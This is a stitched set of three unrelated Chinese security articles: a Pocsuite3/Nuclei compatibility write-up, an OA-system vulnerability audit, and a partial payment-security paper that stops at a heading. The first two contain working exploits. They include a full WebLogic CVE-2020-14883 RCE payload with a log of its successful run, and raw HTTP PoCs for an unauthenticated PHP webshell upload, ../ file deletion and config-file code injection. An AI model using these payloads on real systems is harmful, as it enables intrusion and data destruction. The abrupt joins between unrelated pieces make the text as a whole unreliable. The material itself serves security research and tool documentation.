ZoomEye、Shodan、CEye、Interactsh 等众多安全服务的 API，用户可以基于 Pocsuite3 快速编写
PoC/Exp，对批量目标进行漏洞验证并获取汇总结果。
Nuclei 是一款由 projectdiscovery 开源的基于 YAML 语法模板的定制化快速漏洞扫描器【2】。Nuclei
定义了一套向目标发送请求，匹配响应判定漏洞是否验证成功的语法，支持 TCP、HTTP 等多种协议。Nuclei 的社区非常活跃，nuclei-templates 项目提供了几千个由社区维护的 PoC 模版【3】。
相比于 Nuclei，Pocsuite3 更加灵活，可以直接使用大量的第三方库，对于一些涉及复杂协议的漏洞会很方便，而且用户只要会写
Python，就能快速上手。从 `2.0.0` 版本开始，Pocsuite3 支持 YAML 格式的 PoC，兼容 Nuclei，可以直接使用 nuclei
template。
本文抛砖引玉，简单聊聊 Nuclei YAML 语法模版，以及 Pocsuite3 是如何实现兼容的。关于 Nuclei 模版的更详细信息可参考
Nuclei 官方文档。
## Nuclei YAML 语法模版
YAML 是一种数据序列化语言，通常用于编写配置文件。它的基本语法规则如下（来源：阮一峰《YAML 语言教程》【4】）。
> * 大小写敏感
> * 使用缩进表示层级关系
> * 缩进时不允许使用 Tab 键，只允许使用空格。
> * 缩进的空格数目不重要，只要相同层级的元素左侧对齐即可
>
`#` 表示注释，从这个字符一直到行尾，都会被解析器忽略。
YAML 支持的数据结构有三种。
> * 对象：键值对的集合，使用冒号结构表示。
> * 数组：一组按次序排列的值，又称为序列（sequence） /
> 列表（list）。一组连词线开头的行，构成一个数组。如果数据结构的子成员是一个数组，则可以在该项下面缩进一个空格。
> * 纯量（scalars）：单个的、不可再分的值，如字符串、整数、布尔值等。
>
以 `nuclei-templates/cves/2020/CVE-2020-14883.yaml` 为例：
id: CVE-2020-14883
info:
name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
author: pdteam
severity: high
description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
reference:
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
- https://www.oracle.com/security-alerts/cpuoct2020.html
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-14883
tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020
requests:
- raw:
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
CMD: {{cmd}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
payloads:
cmd:
- id
matchers-condition: and
matchers:
- type: word
part: header
words:
- "ADMINCONSOLESESSION"
- type: word
part: body
words:
- 'uid='
- 'gid='
- 'groups='
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# Enhanced by mp on 2022/04/20
这个模版大致可分为以下几部分：
id: str # 模版的唯一ID，必要字段。
info: {k: v} # 漏洞信息字段，包含漏洞名称、作者、漏洞严重性、漏洞描述、引用连接、评分、漏洞标签等，基本都是可选字段。
variables: {k: v} # 全局变量，值可以是一个字符串或者一个表达式，上述模版未提供
requests: [] # 定义的 HTTP 请求（核心部分）
最核心的是 requests 部分，requests 代表定义 HTTP 请求。Nuclei 支持多种协议，比如想定义 TCP 请求就需要使用
network 字段。
requests 的语法如下，它的每个元素都包含单/多个 HTTP
请求、payloads（可选）、匹配规则、解压规则（可选）。大多数情况下定义一个就足够了。
requests
# 方式一：原始（raw）请求
- raw:
- |
GET /index.php HTTP/1.1
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
...
# 方式二：GET, POST, PUT, DELETE 请求
- method: GET
path:
- "{{BaseURL}}/login.php"
- "{{BaseURL}}/index.php"
headers: {}
# payload 组合方式
attack: clusterbomb
# 提供的 payload，用于请求填充
payloads: {}
# 解压规则，用于从上一个请求响应中提取信息，以用于后续的请求填充或者结果返回。
extractors: []
# 定义的请求发送完再进行匹配
req-condition: false
# 命中第一个匹配就返回
stop-at-first-match: true
# 匹配规则的逻辑关系，如果是 and 则表示所有匹配条件必须都为 true。
matchers-condition: and
# 匹配规则
matchers: []
定义 http 请求支持两种方式，1、分别定义 method、path、headers、body 等；2、直接提供 http 原始请求。请求中会包含形如
`{{变量名或表达式}}` 的动态值，需要在发送请求前替换。变量命名空间由 variables、payloads、extractors 解压出来的值、目标
url 等一起提供。解压规则和匹配规则中也会包含动态值。
extractors 有以下几种类型：
1、regex，正则提取；
2、kval，健值对，比如提取指定响应头；
3、json，使用 jq 的语法提取 json 数据；
4、xpath，使用 xpath 提取 html 响应数据；
5、dsl，使用表达式提取，不常用。
`WebLogic CVE-2020-14883` 的解压规则定义如下，使用正则提取了 id 命令的执行结果。
extractors:
- type: regex
regex:
- "(u|g)id=.*"
matchers 的类型定义如下：
1、status，匹配 http 响应状态码；
2、size，匹配长度，如 Conteng-Length；
3、word，字符串匹配；
4、regex，正则匹配；
5、binary，二进制数据匹配；
6、dsl，使用复杂表达式进行匹配；
举个例子：
matchers:
# 对响应 headers 进行字符串匹配
- type: word
part: header
words:
- "ADMINCONSOLESESSION"
# 对响应 body 进行字符串匹配，且要包含所有子串。
- type: word
part: body
words:
- 'uid='
- 'gid='
- 'groups='
condition: and
# 匹配 http 响应状态码
- type: status
status:
- 200
上面我们介绍了各个部分的含义。总体来看，引擎大致运行流程如下：
1、迭代所有的 payloads 组合；
2、针对每个 payloads 组合，顺序依次发送定义的请求并获取响应结果（需要替换请求中的动态值）；
3、遍历所有的解压规则，从响应提取信息，合并到局部变量命名空间，或者用于结果返回（由 internal 变量控制）；
4、如果 `req-conditio` 的值为 true，则跳转到 2
继续发送下一个请求；并提取响应结果各个部分，保存到局部变量命名空间，形如：`status_code_1`、`body_2`。
5、遍历匹配规则，获取匹配结果，如果匹配则返回，否则继续；
## Pocsuite3 兼容 nuclei 的部分实现细节
### YAML 格式 PoC 如何和原框架兼容
我们不想改动 Pocsuite3 注册 PoC 到框架的方式，因此将 Nuclei 实现成了一个相对独立的模块，并额外提供了一个方法。当框架加载 PoC
时发现是 YAML 格式，会自动转换成 Pocsuite3 的 PoC 格式。因此 YAML 格式的 PoC 和 Python PoC
脚本在使用上没有任何区别。
class nuclei:
...
def __str__(self):
"""
Convert nuclei template to Pocsuite3
"""
info = []
key_convert = {
'description': 'desc',
'reference': 'references'
}
for k, v in self.json_template['info'].items():
if k in key_convert:
k = key_convert.get(k)
if type(v) in [str]:
v = json.dumps(v.strip())
info.append(f' {k} = {v}')
poc_code = [
'from pocsuite3.api import POCBase, Nuclei, register_poc\n',
'\n',
'\n',
'class TestPOC(POCBase):\n',
'\n'.join(info),
'\n',
' def _verify(self):\n',
' result = {}\n',
' if not self._check(is_http=%s):\n' % (len(self.template.requests) > 0),
' return self.parse_output(result)\n',
" template = '%s'\n" % binascii.hexlify(self.yaml_template.encode()).decode(),
' res = Nuclei(template, self.url).run()\n',
' if res:\n',
' result["VerifyInfo"] = {}\n',
' result["VerifyInfo"]["URL"] = self.url\n',
' result["VerifyInfo"]["Info"] = {}\n',
' result["VerifyInfo"]["Info"]["Severity"] = "%s"\n' % self.template.info.severity.value,
' if not isinstance(res, bool):\n'
' result["VerifyInfo"]["Info"]["Result"] = res\n',
' return self.parse_output(result)\n',
'\n',
'\n',
'register_poc(TestPOC)\n'
]
return ''.join(poc_code)
### 如何加载 YAML 模版
Golang 可以直接反序列化 JSON 数据为结构体看着非常优雅，在 Python3 中使用 dataclass 和 daciate
库也可以做到这一点，还能顺便做类型检查。另外，Python 中变量不能包含中横线，需要对数据做一些预处理。
@dataclass
class Template:
"""Template is a YAML input file which defines all the requests and other metadata for a template.
"""
id: str = ''
info: Info = field(default_factory=Info)
requests: List[HttpRequest] = field(default_factory=list)
network: List[NetworkRequest] = field(default_factory=list)
stop_at_first_match: bool = True
variables: dict = field(default_factory=dict)
class Nuclei:
def __init__(self, template, target=''):
self.yaml_template = template
try:
self.yaml_template = binascii.unhexlify(self.yaml_template).decode()
except ValueError:
pass
self.json_template = yaml.safe_load(expand_preprocessors(self.yaml_template))
self.template = dacite.from_dict(
Template, hyphen_to_underscore(self.json_template),
config=dacite.Config(cast=[Severify, ExtractorType, MatcherType, HTTPMethod, AttackType, NetworkInputType]))
### DSL 表达式执行
使用 Python 实现了 DSL 的大部分函数，限制了表达式所能访问的函数和属性，最后通过 eval 执行。
def safe_eval(expression, variables):
if not _check_expression(expression, allowed_variables=list(variables.keys())):
expression = expression.replace(' && ', ' and ').replace(' || ', ' or ')
if not _check_expression(expression, allowed_variables=list(variables.keys())):
raise Exception(f"Invalid expression [{expression}], only a very simple subset of Python is allowed.")
return eval(expression, globals(), variables)
### 使用效果
使用 `-r` 直接加载 YAML 模版即可，通过 `-v` 设置日志级别，可以输出模版运行细节，包括请求和响应、表达式执行、解压规则和匹配规则的运行结果。
? ~ pocsuite -r ~/nuclei-templates/cves/2020/CVE-2020-14883.yaml -u http://172.29.157.74:7001 -v 2
,------. ,--. ,--. ,----. {2.0.1-cb758d9}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
[*] starting at 18:34:40
[18:34:40] [INFO] loading PoC script '/Users/fenix/nuclei-templates/cves/2020/CVE-2020-14883.yaml'
[18:34:41] [INFO] pocsusite got a total of 1 tasks
[18:34:41] [DEBUG] pocsuite will open 1 threads
[18:34:41] [INFO] running poc:'Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution' target 'http://172.29.157.74:7001'
[18:34:52] [DEBUG] < POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
< Host: 172.29.157.74:7001
< User-Agent: Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0)
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< Accept-Language: en
< CMD: id
< Content-Type: application/x-www-form-urlencoded
< Content-Length: 1166
<
< test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
> HTTP/1.1 200 OK
> Date: Wed, 09 Nov 2022 02:34:52 GMT
> Transfer-Encoding: chunked
> Content-Type: text/html; charset=UTF-8
> Set-Cookie: ADMINCONSOLESESSION=hpNaPYWzVQlWjXS0qq3B6CBq43oDb1kLXFpPZS6iOBlsVxfbRC-2!-1601473325; path=/console/; HttpOnly
>
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
[18:34:52] [DEBUG] [+] Extractor(name='', type=<ExtractorType.RegexExtractor: 'regex'>, regex=['(u|g)id=.*'], group=0, kval=[], json=[], xpath=[], attribute='', dsl=[], part='', internal=False, case_insensitive=False) -> {'internal': {}, 'external': {}, 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='or', part='header', negative=False, name='', status=[], size=[], words=['ADMINCONSOLESESSION'], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='and', part='body', negative=False, name='', status=[], size=[], words=['uid=', 'gid=', 'groups='], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.StatusMatcher: 'status'>, condition='or', part='body', negative=False, name='', status=[200], size=[], words=[], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [+] URL : http://172.29.157.74:7001
[18:34:52] [+] Info : {'Severity': 'high', 'Result': [{'cmd': 'id', 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}]}
[18:34:52] [INFO] Scan completed,ready to print
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| target-url | poc-name | poc-id | component | version | status |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| http://172.29.157.74:7001 | Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution | 0 | | | success |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
success : 1 / 1
[*] shutting down at 18:34:52
附：演示视频。
## 最后
目前的实现能覆盖大部分 HTTP 和 Network 模版，Nuclei
的一些特殊功能如：Workflows、条件竞争请求、请求注释等暂不支持。最新版本已经推送到 PyPI、Homebrew
仓库、Dockerhub、Archlinux 等，等这个大版本稳定后会继续推送 Debian、Kali、Ubuntu。如果大家在使用中发现任何问题，欢迎提交
Issue 或贡献代码。
## 参考链接
【1】: Pocsuite3 框架
<https://pocsuite.org>
【2】: Nuclei 框架
<https://nuclei.projectdiscovery.io>
【3】: nuclei-templates 项目
<https://github.com/projectdiscovery/nuclei-templates>
【4】: YAML 语言教程
<https://www.ruanyifeng.com/blog/2016/07/yaml.html>
* * * | 社区文章 |
以下内容仅供技术研究学习使用！
严禁用于非法操作！
切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务！
**介绍**
天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件，融合了天生创想OA长期从事管理软件开发的丰富经验与先进技术，该系统采用领先的B/S(浏览器/服务器)操作方式，使得网络办公不受地域限制。
注:天生创想OA协同网络办公系统和苦菊OA这两个是一样的都存在以下问题
当前环境
Apache2.4.39
PHP版本5.3.29
版本：V2019，PHPOA V4.0
**漏洞审计**
**0X01 未授权任意文件上传**
漏洞地址：D:\phpstudy_pro\WWW\kuju2019\upload\UploadHandler.php
/Upload/index.php 有包含UploadHandler.php
分析index.php执行流程
包含了数据库配置文件连接数据库
最后包含UploadHandler.php文件实例化UploadHandler类
Userid函数判断是哪个用户上传的
打开UploadHandler.php找到漏洞函数
handle_file_upload函数存在任意文件上传未校验上传的后缀
简单看一下1062行生成文件名给upload_dir然后if判断是否不存在生成文件名一样的目录
实例化调用get_upload_path并传递后缀过去
判断是有后缀名没有就未空version没有值为false执行else语句块返回路径+文件名+后缀给file_path
判断文件，类型赋值给append_file再if判断文件是否是http post上传的
Echo输出临时文件和指定文件
1074行判断append_file为false执行move_uploaded_file函数移动文件把临时文件移动到指定的文件并且未校验cookie可以直接未授权上传
直接成功上传
Shell地址：<http://www.kuju.com/data//uploadfile//1//1614235203.php>
POC:
POST /upload/index.php?userid=1 HTTP/1.1
Host: www.kuju.com
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101
Firefox/86.0
Accept: application/json, text/javascript, _/_ ; q=0.01
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer:[http://www.kuju.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24](http://www.kuju.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24)
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554
Content-Length: 256
Origin: <http://www.kuju.com>
Connection: close
\-----------------------------115858488212690034922831875554
Content-Disposition: form-data;name="files[]"; filename="1.php"
Content-Type: text/plain
<?php
echo 123;
phpinfo();
?>
\-----------------------------115858488212690034922831875554—
**0X02 任意文件上传**
漏洞地址：D:\phpstudy_pro\WWW\kuju2019\uploadclass.php
Upload.php处理文件上传打开upload.php
第6行包含了uploadclass.php并且实例化类
调用uploadclass.php upload_file的函数获取文件类型，名称，大小等
最后调用了seve函数打开uploadclass.php查看seve函数
跟进get_compare_extention()函数
get_compare_extention()函数调用了把extention_list变量用explode函数分割赋值给ext
追踪extention_list的值
在75行发现set_extention函数有赋值给extention_list先实例化类然后调用config_data把‘uploadtype’键赋值给了extention_list
Echo extention_list的值看看
‘uploadtype’的值都是后缀名
回到seve函数追踪check_extention()函数
check_extention()函数for循环ext后缀判断后缀是否是ext中的一个不是就输出允许的后缀extention_list
doc|docx|xlsx|jpg|gif|rar|txt|zip|pdf|xls|ppt|esp|cad|3ds|img|psd|pdf|ai|log|mdb|pot|csv|png
剩下的就是些无关紧要的东西了，只要‘uploadtype’键里的值可控就可以上传任意文件
在后台登录页-》系统设置-》附件上传类型：
添加新的后缀php，上传头像
<http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php>
成功getshell
**0X03 任意文件删除**
漏洞地址：D:\phpstudy_pro\WWW\kuju2019\include\dbbackup.class.php
调用了/mana/目录下的mod_data.php文件打开它
最后一行elseif判断do等于upload执行语句块
Echo 对象调用del函数删除成功就输出备份删除成功
追踪del函数
if判断传递过来的是否为数组然后foreach循环删除即使不是数组在333行再单独删除一次
删除文件未校验后缀和未过滤../，导致攻击者可以跨目录删除任意文件
默认备份地址是/data/db/在/db/目录外新建一个1.php
成功删除1.php
可利用任意文件删除导致系统重装删除\cache\install.lock
POC:
POST/admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
Host: www.kuju.com
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101
Firefox/86.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, _/_
;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer:
[http://www.kuju.com/admin.php?ac=data&fileurl=mana&do=data_import](http://www.kuju.com/admin.php?ac=data&fileurl=mana&do=data_import)
Content-Type:application/x-www-form-urlencoded
Content-Length: 37
Origin: <http://www.kuju.com>
Connection: close
Cookie:toa_auth=MQk4MWRiMDNkZTA5ZWYxZWIyYjc5NjBkNDNmMWEwY2U3MQ%3D%3D;
my_expand_3=;my_expand_all_3=
Upgrade-Insecure-Requests: 1
choice[]=../1.php&do=%E5%88%A0+%E9%99%A4
**0X04 重装系统Getshell**
漏洞地址：D:\phpstudy_pro\WWW\kuju2019\install\install.php
判断用户是否填写完全了然后去创建数据库
然后到309行写文件
Fopen读取config文件赋值给fp追踪config变量是从那里过来的
在108行知道了config文件地址
311行filesize检查文件大小读取文件赋值给content接着打开config.php文件
最后用preg_replace检查替换file_put_contents写入到config.php中
把payload写进去：');phpinfo();//
到这个页面成功创建数据库也代表payload成功插入进去了
访问<http://www.kuju.com/config.php>
成功getshell打开config.php
图片
这里没有包含include/common.php单引号就不会被\反斜杠转义
利用条件php版本<=5.4.45因为 magic_quotes_gpc 5.4以上版本都被移除了
如果对方php版本>5.4也是可以利用的但是要在php.ini设置magic_quotes_gpc = Off
关闭gpc即可利用
=================================
看到这了就点个关注支持以下吧，你的关注是我创作的动力。
公众号：Master学安全 | 社区文章 |
# 百度安全实验室 | 支付安全不能说的那些事
|
##### 译文声明
本文是翻译文章，文章来源：丁羽、黎桐辛、韦韬@百度安全实验室
原文地址：<http://mp.weixin.qq.com/s/8LOrJiT268gRZlBSjOEYqQ>
译文仅供参考，具体内容表达以及含义原文为准。
在线支付已经走进每个人的生活。抢红包、网上购物、生活缴费等服务中处处都有在线支付的身影。但是在线支付体系暴露过许多次安全问题，黑客利用在线支付的漏洞可以悄无声息的免费清空购物车等，造成商户和支付平台的损失。由于种种原因，支付平台的安全问题很少被细致公开的讨论过。
本文由支付宝安全特别奖得主丁羽和黎桐辛，以及韦韬共同撰写。其中丁羽和韦韬来自百度x-lab，黎桐辛来自北京大学。文章对在线支付体系的原理进行了介绍，并分享了几个在线支付过程中曾出现的严重漏洞以及利用过程。希望这些经验能引起相关厂家和商户的重视，使我们的在线支付更加安全。
**引言**
电子商务已经成为当今互联网中重要的组成部分。同时“钱包”类服务成为了电子商务的关键组件。越来越多的电商服务通过“钱包”服务来进行支付。“钱包”提供的接口简单易用，任何一个开发者都可以快速的将“钱包”服务供应商提供的SDK整合进自己的App中，提供App内的快速支付手段。目前国内最大的“钱包”类服务包括：支付宝钱包、微信钱包、百度钱包等，各有长处。
因此，支付过程的安全问题也成为了关键。如果钱包服务出现了安全漏洞，那么很可能会影响到成千上万的商家，数十亿的现金流，后果往往非常严重。对于支付平台的安全研究自从其诞生之日起就开始了。经过数次血的教训，几大支付平台均修正了数个大大小小的漏洞，反复改进设计和实现。现今的支付平台已经相当安全可靠。
本文对借助支付平台进行的支付流程进行分析，对支付平台的安全进行讨论。同时我们展示了商户端和支付平台出现过的几个严重安全漏洞。攻击者通过这几个安全漏洞可以达到修改金额、任意购买等效果，使得支付平台和商户的利益收到巨大损失。本文中涉及的安全漏洞均已得到修正。
**支付流程概述**
目前市场上的大大小小的第三方支付平台有许多家，规模有大有小但是从整个支付流程上看这些支付平台的同质化程度很高。只有少数很大的支付平台做出了比较大的改动，进一步增强了安全性。这一节我们对支付平台普遍采用的支付协议做下介绍。
在支付流程中主要包括四个实体：商户前端、商家服务器、钱包模块、以及钱包服务器。商户前端是用户直接交互的部分，用户通过操作商户前端来购买商品等。这里商户前端不仅限于移动设备上安装的App，也可以是商家提供的网站。商家服务器是商户的后端，提供相应的服务。钱包模块是进行支付的“中介”，如支付宝、微信钱包、百度钱包等都有对应的支付模块。
通常支付模块可以是用户App中的一个SDK，与商户App一起安装在用户的手机上。支付模块也可以以web的形式提供服务。钱包服务器负责处理支付请求，并通知商家服务器支付结果。钱包服务需要与钱包模块交互以获得订单信息，同时需要与相关的机构（例如银行）进行扣款处理，最后与商家服务和钱包模块进行通讯以通知支付结果。因此整个支付过程是一个"四方通讯"的过程。一笔成功交易的后面通常包含四方之间数十次的复杂交互，任何一个环节的安全隐患都会扩大整个支付过程的攻击面。多个安全隐患的叠加可能使得攻击者可以进行订单篡改等攻击，使用户、商户、钱包服务的利益收到损失。
一个完整的经由支付平台的支付过程通常可以划分为以下几步：
1.商户前端对钱包初始化
2.商户前端与商户服务交互，创建订单
3.商户前端经由钱包，对订单进行支付
4.钱包与钱包服务器通讯，钱包服务器进行扣款，通知钱包和商户服务器支付结果。
5.商户前端从钱包的支付返回中获取结果，并和商户服务器进行确认。
6.支付完成，商户获得对应款项。
下面我们来介绍支付的四方通讯的详细过程。
图1 支付过程的四方通讯
1.商户前端与钱包模块进行通讯，对钱包进行初始化。在这个过程中通常需要用户登录自己的钱包账户，进行必要的认证等操作。
2.钱包模块初始化完成，返回到用户App中。
3.商户前端与商家服务器通讯，建立订单。带有的参数通常包括用户信息、需要购买的商品id、时间戳、商品金额、钱包类型等。
4.商家将订单参数返回给商户前端，带有的参数通常包括：订单号(order_no)、支付金额(total_fee)、支付结果通知地址(notify_url)、消息完整性签名(sign)等。此时也有另一种实现，即虚线部分的4'。在4'中，商户服务将大量参数直接通知给钱包服务，而只返回给用户一个简短的消息，包括一个钱包服务返回给商家服务的交易事务id。此后用户只需通过钱包对这个交易事务id进行支付即可。
5.商户前端对商户返回的信息进行包装，发送给钱包模块。
6.钱包模块与钱包服务进行交互，带有的参数包括用户的钱包session等信息，以及步骤4中返回的订单信息等。
7.钱包服务在进行必要的扣款处理（如与银行进行交互）和风控处理后，将支付结果以同步通知7(1)和异步通知7(2)的方式分别通知钱包模块和商户服务。在支付结果通知中一般包括支付结果、支付金额、支付的订单号、支付事务的流水号、商户号，以及消息完整性签名等。可选的参数包括商品信息、字符集/编码方式、币种信息等。商户服务器在获得7(2)的异步通知后，也需要验证其消息的完整性，并对订单状态进行对应的更新（支付成功或者支付异常）。
8.钱包模块接收到钱包服务返回的同步通知后，进行必要的完整性验证，并将支付结果返回给商户前端。
9.商户前端在得到钱包模块返回的消息，验证其完整性。若获得的是支付成功的消息，则需要向商户服务器发起请求，验证支付结果（查账）。商户服务器此时即可进行订单支付完成后的处理。
在整个支付过程中，各个消息的完整性是最为关键的。如果消息完整性保护存在漏洞，攻击者即可发起修改金额、修改订单号、构造虚假订单等攻击。作为消息完整性保护的关键——签名机制，是支付协议的核心之一。目前应用在第三方支付平台中的签名机制可以分成两种：基于非对称密码体制的签名，和基于散列函数的签名。基于非对称密码的签名机制只在极少数支付平台上得到实现。而基于散列函数的签名则基本被所有平台应用或曾经应用过。
在基于非对称密码体制的签名机制中，每个商户和支付平台都生成自己的一套公钥-私钥对，并互相告知对方自己的公钥。在进行支付时，发送消息方使用自己的私钥对消息（或消息的散列值）进行签名，接受消息方使用对方（发送消息方）的公钥进行验签。这个方法的安全性来自于非对称密码体制的安全性，例如RSA的大质数分解难度，或计算椭圆曲线离散对数的难度。在这个机制中，最关键的是支付平台的私钥。攻击者一旦获得支付平台私钥，就可以对任意消息进行签名，从而欺骗商户。其次是商户的私钥。攻击者获得商户私钥后，结合商户App的其他漏洞，就可以进行各类攻击。
基于散列函数的签名机制安全性来自于哈希函数的不可逆性。在支付平台中此类签名机制几乎得到所有平台的使用。每个商户与支付平台预先共享一个密钥，以及协商一个hash函数（例如MD5或者SHA1）。在发送消息时，每个商户活支付平台在消息中附加上与对方共享的这个密钥，再对整体进行hash运算，得到签名值，与原始消息合并作为最后的消息发送给对方。在接受消息时则将签名值剥离，将剩下的部分与密钥组合后进行hash运算，检验生成的散列值是否与发来的签名值相符。在这个体制中，最关键的无疑就是商户和支付平台预先共享的这个密钥了。一旦这个密钥泄露，攻击者既可以模仿商户给支付平台发信息，又可以模仿支付平台给商户发信息，以进行各类欺骗和攻击，危害无穷。在目前支付平台所采用的签名机制中，以基于MD5的签名最为常见。
此外，以上提到的私钥泄露，其实等同于令商户/支付平台对指定字符串进行签名的能力。如果攻击者可以在很少代价的情况下对指定的“畸形”/“恶意”串进行签名的话，也相当于获得了任意签名的能力，从而以很小的代价发起攻击。
值得注意的是，基于MD5的签名机制并不仅限于"支付协议"中使用，在相当多类型的通信中均得到大量应用。而MD5如果不严格限定输入并使用正确的模式将会是相当脆弱的，我们可以构造通用的签名碰撞攻击，将在后继文章中进行介绍。
同时，支付结果的同步、异步通知则是最容易受到攻击的点。支付结果的同步通知可以在端上被攻击者篡改（例如使用代理或者Xposed）。对于异步通知，由于异步通知经常缺乏可靠的对发送者的身份鉴定，因此攻击者可以自行构造异步通知来通知商户服务已支付成功，从而完成攻击。此外，异步通知的地址往往是可变的，以参数的形式传递给支付平台。攻击者一旦获得了修改异步通知地址的能力，也会对支付过程的安全性造成威胁。
**签名机制**
**1.基于MD5的消息完整性签名机制**
在目前国内大部分支付平台以及诸如anySDK平台等平台的接口中均使用或曾使用基于MD5的消息完整性签名机制。该机制主要用户保证图1中四方通讯时消息传递的完整性。
基于MD5的消息完整性签名机制如图2所示。该方法的关键在于：商家和钱包服务之间共享一个签名密钥。该签名密钥参与到每个签名生成以及签名验证过程中。该密钥不能泄露，一旦泄露则会造成极大安全隐患。攻击者可以借助泄露的密钥来伪造消息，修改订单，发送支付成功消息等。
在签名过程中，签名方将待签名的原请求中的key-value对按照key的字母序进行排序，然后连接在一起。这个连接可以使用‘&’组合，也可以不使用‘&’。再将签名密钥附带在组合的结尾，生成“待签字符串”。有的签名方案使用‘&key=’来连接key，有的则直接附加key在末尾，区别不大。然后使用MD5算法生成待签字符串的散列值作为签名。最后将该散列值作为一个域附加在原请求中，得到最终的请求。
验签过程和签名过程是基本相同的。首先从最终请求中分离出签名域，再将需要验签的部分按照key的顺序排列并重新组合，附加上签名密钥，生成签名过程中的“待签字符串”，最后计算其MD5值，判断其与最终请求中所带的散列值是否相符。
**2.基于非对称密码体制的签名机制**
